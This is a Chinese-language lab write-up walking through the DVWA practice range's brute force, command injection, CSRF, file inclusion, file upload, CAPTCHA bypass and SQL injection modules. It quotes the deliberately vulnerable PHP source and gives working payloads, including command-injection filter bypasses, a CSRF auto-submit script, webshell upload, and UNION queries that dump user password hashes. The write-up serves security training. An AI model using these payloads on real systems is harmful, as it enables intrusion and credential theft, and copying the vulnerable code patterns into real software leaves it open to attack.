dvwa靶场

dvwa靶场

Brute Force

(Low)

Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一。

法一:暴力破解

先随便输一个账号密码不能通过

此时我们进行抓包

通过BP利用字典爆破,得出密码

dvwa靶场_第1张图片

dvwa靶场_第2张图片

dvwa靶场_第3张图片
根据长度的不同可得知password为密码

(medium)

源码分析:


if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));	
	//mysqli_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符(\x00、\n、\r、\、'、"、\x1a)
    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );	//md5加密

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";	//拼接查询语句
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "

Welcome to the password protected area {$user}

"
; echo "{$avatar}\" />"
; } else { // Login failed sleep( 2 ); //休眠2秒 echo "

Username and/or password incorrect.
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

方法:

使用burpsuite抓包爆破

dvwa靶场_第4张图片

dvwa靶场_第5张图片

(high)

源码分析:


if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );	//检查token值

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );	//去除反斜杠
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );	//md5加密

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";	//拼接查询语句
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "

Welcome to the password protected area {$user}

"
; echo "{$avatar}\" />"
; } else { // Login failed sleep( rand( 0, 3 ) ); //随机休眠 echo "

Username and/or password incorrect.
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); //产生新token值 ?>

方法:

使用burpsuite抓包爆破

dvwa靶场_第6张图片

dvwa靶场_第7张图片

Command Injection(命令执行)

用户可以执行恶意代码语句,在实战中危害比较高,也称作命令执行,一般属于高危漏洞。

打开页面是这样,框中让填入IP地址

(low)

命令连接符

command1 && command2 先执行command1后执行command2

command1 | command2 只执行command2

command1 & command2 先执行command2后执行command1

dvwa靶场_第8张图片
我们可以先ping一下 127.0.0.1

dvwa靶场_第9张图片

乱码

dvwa靶场_第10张图片dvwa靶场_第11张图片

dvwa靶场_第12张图片

查看源码

dvwa靶场_第13张图片

ip字段如果在IP后面加 ‘|’ 再添加一个命令,则会直接执行该命令。

此时输入windows命令即可

eg:

127.0.0.1 && dir  

dvwa靶场_第14张图片
DOS中符号总结
l & 组合命令

语法:第一条命令 & 第二条命令 [& 第三条命令…]

&、&&、||为组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。因为批处理认行不认命令数目。

这个符号允许在一行中使用 2 个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。

这里&两边的命令是顺序执行的,从前往后执行。

比如:

dir z:\ & dir y:\ & dir c:\

以上命令会连续显示 z,y,c 盘的内容,不理会该盘是否存在

l Command 1 | Command 2

“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。

l ; 分号

分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回错误报告,但程序仍会执行。

比如:

dir c:;d:;e:;z:\

以上命令相当于

dir c:\

dir d:\

dir e:\

dir f:\

如果其中 z 盘不存在,运行显示:系统找不到指定的路径。然后终止命令的执行。

例:dir c:;d:;e:\1.txt

以上命令相当于

dir c:\

dir d:\

dir e:\1.txt

其中文件 e:\1.txt 不存在,但 e 盘存在,有错误提示,但命令仍会执行。

为什么?如果目标路径不存在,则终止执行;如果路径存在,仅文件不存在,则继续执行。

(medium)

dvwa靶场_第15张图片

查看源码:

 '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "
{$cmd}
"; } ?>

DOS中&用法
这里需要注意的是”&&”与” &”的区别:

Command 1&&Command 2

先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

Command 1&Command 2

先执行Command 1,不管是否成功,都会执行Command 2

分析:

服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。

因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。

所以,我们输入

127.0.0.1&ipconfig

dvwa靶场_第16张图片

法二:由于使用的是str_replace把”&&” 、”;”替换为空字符,因此可以采用以下方式绕过:

127.0.0.1&;&ipconfig

经黑名单过滤后变成

127.0.0.1&&ipconfig尝试用以上两种方式执行dos命令:

127.0.0.1&dir

dvwa靶场_第17张图片

(high)

分析源码:



if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',		//黑名单过滤特殊符号
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "
{$cmd}
"
; } ?>

方法:

构造Poc验证利用

127.0.0.1 |ipconfig

dvwa靶场_第18张图片

**代码审计:**增加了黑名单过滤的特殊符号,但是仍然可以通过等效符号进行代替绕过黑名单,达到命令执行的效果
**漏洞利用:**构造Poc与low安全级别一致,区别在于用等效的符号绕过黑名单(源码黑名单过滤|,却没有过滤|),同样达到命令执行的效果,拿webshell,连webshell管理工具,操作服务器

Cross Site Request Forgery (CSRF)

CSRF攻击是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

危害:

  1. 修改用户信息,如用户头像、发货地址等
  2. 个人隐私泄露,机密资料泄露
  3. 执行恶意操作,如修改密码,购买商品,转账等(盗用受害者身份,受害者能做什么攻击者就能以受害者身份)

(LOW)

1.查看源码dvwa靶场_第19张图片

$pass_new  = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
 
if( $pass_new == $pass_conf ):
    $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" .     dvwaCurrentUser() . "';";

通过GET方式获取密码,两次密码一致的话,然后直接代入数据中修改密码。属于最基础的GET型CSRF。

http://127.0.0.1:8888/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

dvwa靶场_第20张图片

dvwa靶场_第21张图片

此时我们再次用原密码登陆,发现密码错误

用新密码:admin

dvwa靶场_第22张图片

登陆成功

(medium)

分析源码:



if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {	//stripos() 函数查找字符串(REFERER)在另一字符串中第一次出现的位置(不区分大小写)
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));		//过滤特殊符号
            $pass_new = md5( $pass_new );	//md5加密

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); // Feedback for the user echo "
Password Changed.
"
; } else { // Issue with passwords matching echo "
Passwords did not match.
"
; } } else { // Didn't come from a trusted source echo "
That request didn't look correct.
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

加上了对用户请求头的中的Referer字段进行验证 即用户的请求头中的Referer字段必须包含了服务器的名字

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

所以就不能其他网页通过点开链接修改密码

相关函数介绍:

stripos()函数:

stripos(string,find,start)

stripos()函数查找字符串在另一字符串中第一次出现的位置,不区分大小写。

PHP超全局变量$_SERVER中的两个值:

$_SERVER[‘HTTP_REFERER’]:PHP中获取链接到当前页面的前一页面的url链接地址,即HTTP数据包中的Referer参数的值。

$_SERVER[‘SERVER_NAME’]:PHP中获取服务器主机的名称,即HTTP数据包中的Host参数的值。

用户正常登录使用修改密码操作时,可以看到:

Medium Security Level的代码使用stripos()函数检查HTTP头,过滤规则是 S E R V E R [ ′ H T T P R E F E R E R ′ ] 的 值 中 必 须 包 含 _SERVER['HTTP_REFERER']的值中必须包含 SERVER[HTTPREFERER]_SERVER[‘SERVER_NAME’],以此来抵御CSRF攻击。

方法:

需要伪造 referer

使用BP工具生成CSRF POC,新建html,添加js脚本:

<script> document.forms["csrf"].submit(); </script>

dvwa靶场_第23张图片

将上述html页面放置网站目录下,然后让用户访问自动触发提交

目录混淆Referer:

http://127.0.0.1/i/DVWA-master/csrf.html

文件名混淆Referer:将上述html文件重命名为127.0.0.1.html

http://127.0.0.1/i/DVWA-master/127.0.0.1.html

(high)

分析源码:



if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); // Feedback for the user echo "
Password Changed.
"
; } else { // Issue with passwords matching echo "
Passwords did not match.
"
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>

igh Security Level的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

方法:

利用xss,xss可以执行代码,获取token


dvwa靶场_第24张图片

抓包修改:

dvwa靶场_第25张图片

方框位置可以修改为想要的密码

File Inclusion(文件包含)

File Inclusion,即文件包含,是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

包含,往往用在复用的地方,比如写了一个连接数据库的方法,直接ctrl+c,ctrl+v就可以用,不用自己再写,是使用include关键字来引用你的方法

DVWA是通过文件包含,来调用file1.php/file2.php/file3.php

文件包含:

开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。

文件包含漏洞:

开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。

二、文件包含漏洞用到的函数

require:找不到被包含的文件,报错,并且停止运行脚本。

include:找不到被包含的文件,只会报错,但会继续运行脚本。

require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。

include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。

*相关的 php.ini 配置参数:*

allow_url_fopen = on (默认开启)

allow_url_include = on (默认关闭)

(low)dvwa靶场_第26张图片

查看源码


我们先点击一下,发现page的参数值,就是点击的文件名

dvwa靶场_第27张图片
点击下面的三个链接,服务器会包含相应的文件,并将结果返回。

服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

尝试查看phpinfo.php文件

(medium)

分析源码:


 
// The page we wish to display
$file = $_GET[ 'page' ];
 
// Input validation
//将参数中的http:// https:// ../ ..\都替换成空
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
 
?>

这个地方加了一些过滤,将“http://”,“https://”,“…/”,“…\”全部替换成了空,这个地方其实可以考虑双写绕过。

方法:

构造一个新的

http://tp://www.baidu.com

过滤后

http://www.baidu.com

dvwa靶场_第28张图片

过滤前

…/./

过滤后

../

dvwa靶场_第29张图片

(high)

分析源码:


 
// The page we wish to display
$file = $_GET[ 'page' ];
 
// Input validation
//文件名必须以file开始,或只能为include.php
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
 
?>

方法:

使用伪协议:file:// (访问本地文件系统)

dvwa靶场_第30张图片

File Upload(文件上传)

在文件上传的功能处,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。
文件上传漏洞对Web应用来说是一种非常严重的漏洞。一般情况下,Web应用都会允许用户上传一些文件,如头像、附件等信息,如果Web应用没有对用户上传的文件进行有效的检查过滤,那么恶意用户就会上传一句话木马等Webshell,从而达到控制Web网站的目的。

文件上传漏洞成因
1.未过滤或Web前端过滤被绕过

2.文件检测被绕过

3.中间件解析

4.不完善的黑名单扩展名

5.文件路径截断

6.HTTP不安全方法(PUT协议)

(low)

DVWA是让用户上传一个图片

dvwa靶场_第31张图片

分析源码:

${target_file} succesfully uploaded!
"; } else { // No echo '
Your image was not uploaded.
'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'; } } // Generate Anti-CSRF token generateSessionToken(); ?>

可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

文件上传漏洞的利用是有限制条件的,首先是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。这里三个条件全都满足。

上传一个一句话

dvwa靶场_第32张图片

dvwa靶场_第33张图片

复制路径

用蚁剑连接

dvwa靶场_第34张图片

成功连接

(medium)

分析源码:


 
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
 
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
 
    // Is it an image?
//文件类型必须是image/jpeg 或者 image/png,大小不能超过100000B(约为97.6KB)
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {
 
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '
Your image was not uploaded.
'
; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"
; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'
; } } ?>

对文件上传的类型和大小做了限制,要求必须是image/jpeg 或者 image/png 类型的。

方法:

上传一句话木马

上传时抓包,修改

dvwa靶场_第35张图片

dvwa靶场_第36张图片

(high)

分析源码:


 
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
 
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
 
    // Is it an image?
// strtoLower把所有字符转换为小写
getimagesize(string filename)
函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。
    if( ( strtoLower( $uploaded_ext ) == "jpg" || strtoLower( $uploaded_ext ) == "jpeg" || strtoLower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {
 
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '
Your image was not uploaded.
'
; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"
; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'
; } } ?>

函数:

strtolower(string)	// 函数把字符串转换为小写。
getimagesize() 		// 函数用于获取图像大小及相关信息

源码中暴露的问题:

规定了文件后缀为小写,检测文件是否为图片码,这里可以通过制作图片吗绕过这个函数检测

方法:

需要上传一个图片木马

dvwa靶场_第37张图片

Insecure CAPTCHA(不安全的验证码/不安全的验证流程)

Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。

DVWA中是输入当前的密码以及新密码,用来修改密码

验证流程:

用户首先访问网页,触发页面的验证码的js模块,向谷歌服务器发起请求,谷歌服务器将验证码发给用户。用户输入验证码发送数据回去,这里发给的是访问网站的服务器,网站的服务器拿到验证码后,再去访问谷歌的服务器,谷歌的服务器会判断验证码是否正确,再将结果返回给网站服务器。

(low)

dvwa靶场_第38张图片

分析源码:

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); ​ // Feedback for the end user ​ echo "
Password Changed.
"; } else { ​ // Issue with the passwords matching ​ echo "
Passwords did not match.
"; ​ $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

第一阶段

验证用户身份,服务器会用私钥对用户进行身份验证,如果验证成功了才能进行修改密码

第二阶段

如果两次输入的密码一致,就进行修改

那么如果能绕过第一阶段,是不是只要两次密码输入一致就能修改了?

我们通过抓包修改:

dvwa靶场_第39张图片

跳过第一个步骤

dvwa靶场_第40张图片

成功修改

(medium)

分析源码:

 

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { 
    // Hide the CAPTCHA form 
    $hide_form = true; 

    // Get input 
    $pass_new  = $_POST[ 'password_new' ]; 
    $pass_conf = $_POST[ 'password_conf' ]; 

    // Check CAPTCHA from 3rd party 
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
        $_SERVER[ 'REMOTE_ADDR' ], 
        $_POST[ 'recaptcha_challenge_field' ], 
        $_POST[ 'recaptcha_response_field' ] ); 

    // Did the CAPTCHA fail? 
    if( !$resp->is_valid ) { 
        // What happens when the CAPTCHA was entered incorrectly 
        $html     .= "

The CAPTCHA was incorrect. Please try again.
"
; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo "

You passed the CAPTCHA! Click the button to confirm your changes.
{$pass_new}\" /> {$pass_conf}\" />
"
; } else { // Both new passwords do not match. $html .= "
Both passwords must match.
"
; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { $html .= "

You have not passed the CAPTCHA.
"
; $hide_form = false; return; } // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '
' . mysql_error() . '
'
); // Feedback for the end user echo "
Password Changed.
"
; } else { // Issue with the passwords matching echo "
Passwords did not match.
"
; $hide_form = false; } mysql_close(); } ?>

源码中暴露的问题:

在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以i通过伪造参数绕过验证。

方法:

抓包,增加passed_captcha参数,绕过验证码:

dvwa靶场_第41张图片

放包,修改密码成功:

dvwa靶场_第42张图片

(high)

分析源码:

if (
    $resp || 
    (
        $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
        && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
    )
)

源码中暴露的问题:

当$resp为真,且参数g-recaptcha-response等于hidd3n_valu3,且参数HTTP_USER_AGENT等于reCAPTCHA就认为验证码正确

方法:

由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。

抓包,更改参数:

dvwa靶场_第43张图片

放包,修改密码成功:

dvwa靶场_第44张图片

SQL Injection

(low)

SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱裤”,如今SQL注入仍是现在最常见的Web漏洞之一。

SQL 注入分类:

SQLMap中的分类来看,SQL注入类型有以下5种:

1.UNION query SQL injection(可联合查询注入)
2.Stacked queries SQL injection(可多语句查询注入)
3.Boolean-based blind SQL injection(布尔型注入)
4.Error-based SQL injection(报错型注入)
5.Time-based blind SQL injection(基于时间延迟注入)

SQL 注入常规利用思路:

1、寻找注入点,可以通过 web 扫描工具实现

2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)

4、可以通过获得的用户信息,寻找后台登录。

5、利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。

手工注入常规思路:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解 SQL 查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.查询到账户的数据

查找这个表里面的数据库库名



if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>

由代码可知,通过REQUEST方式接受传递的参数id,再通过sql语句带入查询,并未设置任何过滤,因此可以进行sql注入利用。

注入测试语句举例:

1' or 1=1#
1 and 1=2'union select database(),2#

dvwa靶场_第45张图片

dvwa靶场_第46张图片

判断注入:

1   页面正常

1'  页面返回错误:报错“...use near ''1''' at line 1...”

1' or '1'='2 页面返回为空,查询失败

1' or '1'='1 页面正常,并返回更多信息,成功查询

判断存在的是字符型注入。

猜字段:

1' order by 2#

得到字段数为2

dvwa靶场_第47张图片

确定回显点:

1' union select 1,2# 

dvwa靶场_第48张图片

猜数据库:

1' union select 1,database()#

dvwa靶场_第49张图片

查找当前数据库中的表

1 ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

dvwa靶场_第50张图片

查找表users中的字段

1 ' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

dvwa靶场_第51张图片

查找数据

1 ' union select group_concat(user),group_concat(password) from users #

dvwa靶场_第52张图片

(Medium)

dvwa靶场_第53张图片

这个级别我们可以看出,这是通过一个下拉表的方式提交数据的,

而且我们提交一个数据后发现URL如下:

image-20220211132435922

所以不是get型注入,应该是把提交的数据存放到post数据中了

我们可以用hackbar试一下

添加post数据如下 点击exeute

dvwa靶场_第54张图片

得到返回的页面如下:

dvwa靶场_第55张图片

则我们就可以在这里添加注入语句了

添加post数据如下:

id=3 union select 1,database()#&Submit=Submit

dvwa靶场_第56张图片

dvwa靶场_第57张图片

获得当前数据库为dvwa

使用burp suite

dvwa靶场_第58张图片

但是我们执行这句话时却报错了:

id=2 union select1,table_name from information_schema.tables wheretable_name='dvwa'#&Submit=Submit

dvwa靶场_第59张图片

Low版本的就可以注入,中等的就不可以注入了,我们打开源码:

Medium SQL Injection Source

<?php

 

if( isset( $_POST[ 'Submit' ] ) ) {undefined

   // Get input

   $id = $_POST[ 'id' ];

    $id = mysql_real_escape_string($id );

 

   // Check database

   $query  = "SELECT first_name,last_name FROM users WHERE user_id = $id;";

   $result = mysql_query( $query ) or die( '
' . mysql_error() .'
'
); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) {undefined // Display values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result,$i, "last_name" ); // Feedback for end user echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"
; // Increase loop count $i++; } //mysql_close(); } ?>

发现有这样的一句话:

$id = mysql_real_escape_string($id );

mysql_real_escape_string函数是实现转义 SQL 语句字符串中的特殊字符,如输入单引号’则处理时会在其前面加上右斜杠\来进行转义,如果语句错误则输出相应的错误信息。其中受影响的字符如下:

\x00 \n \r \ ’ " \x1a

所以当我们注入时, 只要不用’就行

